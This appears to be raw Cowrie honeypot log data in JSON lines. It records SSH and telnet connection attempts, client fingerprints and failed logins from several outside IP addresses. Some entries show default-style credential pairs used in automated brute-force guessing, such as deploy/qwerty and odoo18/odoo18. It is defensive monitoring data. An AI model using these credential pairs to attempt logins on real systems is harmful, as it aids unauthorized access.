{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:b5:26:f6:e4:d2:b9:b3:1d:70:55:1c:83:ed:47:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK5mvMm77GSHAPVMJxCJZl5YeeGytaibyhC9WveGsOm05G7y6sBLHLAQ9eLN6W19MK6nCsSE+xjYlWwjxTrje//7zmKYRwI16c9gwMh0AL4xDmhZIryKjBDizWbUQCWD4fgFoNMK7SK2DvpJmi/RnNKK7P/iUmK/+nO/vKjBpXgzIi54Ot6XUgdovA/CC7tV/rIwI3vISTzXIGXVnFi2TRfyimPUou//oOFYlQwTNnKJlY+yOvKVscoudI3KoAlvoykOtc09qZ0Oz1f1P7GTsjwIHdO89mg76RpmScGh85FMvQA/YFRqnBErpnUFV0Hb1Lum0vqU/113BG0rO2a23d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.819093Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:c1:64:3f:48:f6:7f:c0:49:9c:27:f0:c7:dc:02:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNQnTe2iJCr10I7ew/ycFrEBsz7V7TzCYG1iNl79DQcHDsbFdCoUHaPQYPGI2kVvoqMnbujBWOF7NK1KIrVC1+iRPXqAVCbJjubAo+oNUEM0wGTuKSkI93lARvra4oegyjr5vEIMC3/lt9v8bg9oJmXquWojscELb8MDO48lce7sf2Omdl0jk5BdVTj2RRg06mg7kta1oGpYVj/yUEAnd6iOGAMJ6LjuYpEHtnBbvWiDMxHPhjopQDXtz/5VbShRSUsXnjroZ+KetWIq22rSre7FLXM4dL0IGMFvU30olSjEdoLHrftIvskt2A9kR9koylA8Z1qnlZO9H/yMmGcJ3Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:c1:64:3f:48:f6:7f:c0:49:9c:27:f0:c7:dc:02:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.946971Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:c1:64:3f:48:f6:7f:c0:49:9c:27:f0:c7:dc:02:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNQnTe2iJCr10I7ew/ycFrEBsz7V7TzCYG1iNl79DQcHDsbFdCoUHaPQYPGI2kVvoqMnbujBWOF7NK1KIrVC1+iRPXqAVCbJjubAo+oNUEM0wGTuKSkI93lARvra4oegyjr5vEIMC3/lt9v8bg9oJmXquWojscELb8MDO48lce7sf2Omdl0jk5BdVTj2RRg06mg7kta1oGpYVj/yUEAnd6iOGAMJ6LjuYpEHtnBbvWiDMxHPhjopQDXtz/5VbShRSUsXnjroZ+KetWIq22rSre7FLXM4dL0IGMFvU30olSjEdoLHrftIvskt2A9kR9koylA8Z1qnlZO9H/yMmGcJ3Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:45.949310Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b9:98:0d:d2:a2:ad:72:17:3f:f0:1d:4c:12:9d:b2:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5oNhGdCWfayWkmurh/2H0ixjXEAwUYHfk4IzKqAVpLueK+C6wQSWKxxP6tY3BulPtEe3z4lk0xEakKVbOvKcaW37wnlYlqviX/bA+XBSDtOUNnGzjLBUSUgJaHfKu5zkoDP7H4g+kXthXuJtHssPpDR5DakNdFXHwNMOnZv+02W2OwXgmIEQUmIsvMUgWkKtLpA29sb9ndRzL0DmECI8jZJbz/tdfybX3cupTVzJYsZxdz1xbXh/BofIC+YNbMedCNmuplndJOdb8H5gA66qQW0RyI8S10Td7d1Psh8jv6JaUcpSI1qCDoC7iHjMtQHPk5vjiTf9obnig9Rqu1czww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b9:98:0d:d2:a2:ad:72:17:3f:f0:1d:4c:12:9d:b2:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.077974Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b9:98:0d:d2:a2:ad:72:17:3f:f0:1d:4c:12:9d:b2:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5oNhGdCWfayWkmurh/2H0ixjXEAwUYHfk4IzKqAVpLueK+C6wQSWKxxP6tY3BulPtEe3z4lk0xEakKVbOvKcaW37wnlYlqviX/bA+XBSDtOUNnGzjLBUSUgJaHfKu5zkoDP7H4g+kXthXuJtHssPpDR5DakNdFXHwNMOnZv+02W2OwXgmIEQUmIsvMUgWkKtLpA29sb9ndRzL0DmECI8jZJbz/tdfybX3cupTVzJYsZxdz1xbXh/BofIC+YNbMedCNmuplndJOdb8H5gA66qQW0RyI8S10Td7d1Psh8jv6JaUcpSI1qCDoC7iHjMtQHPk5vjiTf9obnig9Rqu1czww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.079902Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43968,"dst_ip":"10.17.0.5","dst_port":22,"session":"a39f4c9d5ec6","protocol":"ssh","message":"New connection: 91.92.42.227:43968 (10.17.0.5:22) [session: a39f4c9d5ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.134333Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.207608Z","src_ip":"217.156.64.228","session":"9b2e1987c7dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57996,"dst_ip":"10.17.0.5","dst_port":22,"session":"4207f6cd4011","protocol":"ssh","message":"New connection: 45.156.87.147:57996 (10.17.0.5:22) [session: 4207f6cd4011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.216873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.220000Z","src_ip":"45.156.87.147","session":"4207f6cd4011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.299353Z","src_ip":"45.156.87.147","session":"4207f6cd4011","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.333834Z","src_ip":"91.92.42.227","session":"a39f4c9d5ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.337593Z","src_ip":"91.92.42.227","session":"a39f4c9d5ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:46.544818Z","src_ip":"45.156.87.147","session":"4207f6cd4011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":39310,"dst_ip":"10.17.0.5","dst_port":22,"session":"76181e26b1d2","protocol":"ssh","message":"New connection: 8.219.200.1:39310 (10.17.0.5:22) [session: 76181e26b1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:47.551830Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:47.662779Z","src_ip":"45.156.87.147","session":"4207f6cd4011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"123","message":"login attempt [master/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:47.727220Z","src_ip":"91.92.42.227","session":"a39f4c9d5ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":37556,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d3ea0ee2d8","protocol":"ssh","message":"New connection: 8.219.200.1:37556 (10.17.0.5:22) [session: 39d3ea0ee2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:48.319019Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:49.279330Z","src_ip":"91.92.42.227","session":"a39f4c9d5ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57782,"dst_ip":"10.17.0.5","dst_port":22,"session":"747089b40a51","protocol":"ssh","message":"New connection: 45.156.87.147:57782 (10.17.0.5:22) [session: 747089b40a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.237411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.240445Z","src_ip":"45.156.87.147","session":"747089b40a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.325117Z","src_ip":"45.156.87.147","session":"747089b40a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44030,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d9d2874d84","protocol":"ssh","message":"New connection: 91.92.42.227:44030 (10.17.0.5:22) [session: e1d9d2874d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.438289Z"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.693989Z","src_ip":"45.156.87.147","session":"747089b40a51","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.707301Z","src_ip":"91.92.42.227","session":"e1d9d2874d84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.716106Z","src_ip":"91.92.42.227","session":"e1d9d2874d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38098,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36bb049d7b3","protocol":"ssh","message":"New connection: 80.94.92.184:38098 (159.203.135.109:22) [session: d36bb049d7b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:52.767850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:53.015353Z","src_ip":"80.94.92.184","session":"d36bb049d7b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:53.018933Z","src_ip":"80.94.92.184","session":"d36bb049d7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:53.780295Z","src_ip":"45.156.87.147","session":"747089b40a51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:54.478067Z","src_ip":"80.94.92.184","session":"d36bb049d7b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49504,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3ad79e017c","protocol":"telnet","message":"New connection: 107.6.151.170:49504 (159.203.135.109:23) [session: fa3ad79e017c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:54.650519Z"}
{"eventid":"cowrie.session.closed","duration":0.004973173141479492,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:54.655159Z","src_ip":"107.6.151.170","session":"fa3ad79e017c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59408,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb2f195c67de","protocol":"telnet","message":"New connection: 128.199.8.54:59408 (159.203.135.109:23) [session: fb2f195c67de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:54.752082Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:54.784997Z","src_ip":"91.92.42.227","session":"e1d9d2874d84","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:55.614025Z","src_ip":"8.219.200.1","session":"76181e26b1d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:55.710716Z","src_ip":"80.94.92.184","session":"d36bb049d7b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:55.821133Z","src_ip":"8.219.200.1","session":"39d3ea0ee2d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:55.848406Z","src_ip":"8.219.200.1","session":"76181e26b1d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:56.291968Z","src_ip":"91.92.42.227","session":"e1d9d2874d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:57.200089Z","src_ip":"8.219.200.1","session":"76181e26b1d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57808,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfe788d72b3d","protocol":"ssh","message":"New connection: 45.156.87.147:57808 (10.17.0.5:22) [session: dfe788d72b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:58.265788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:13:58.270356Z","src_ip":"45.156.87.147","session":"dfe788d72b3d","protocol":"ssh"}
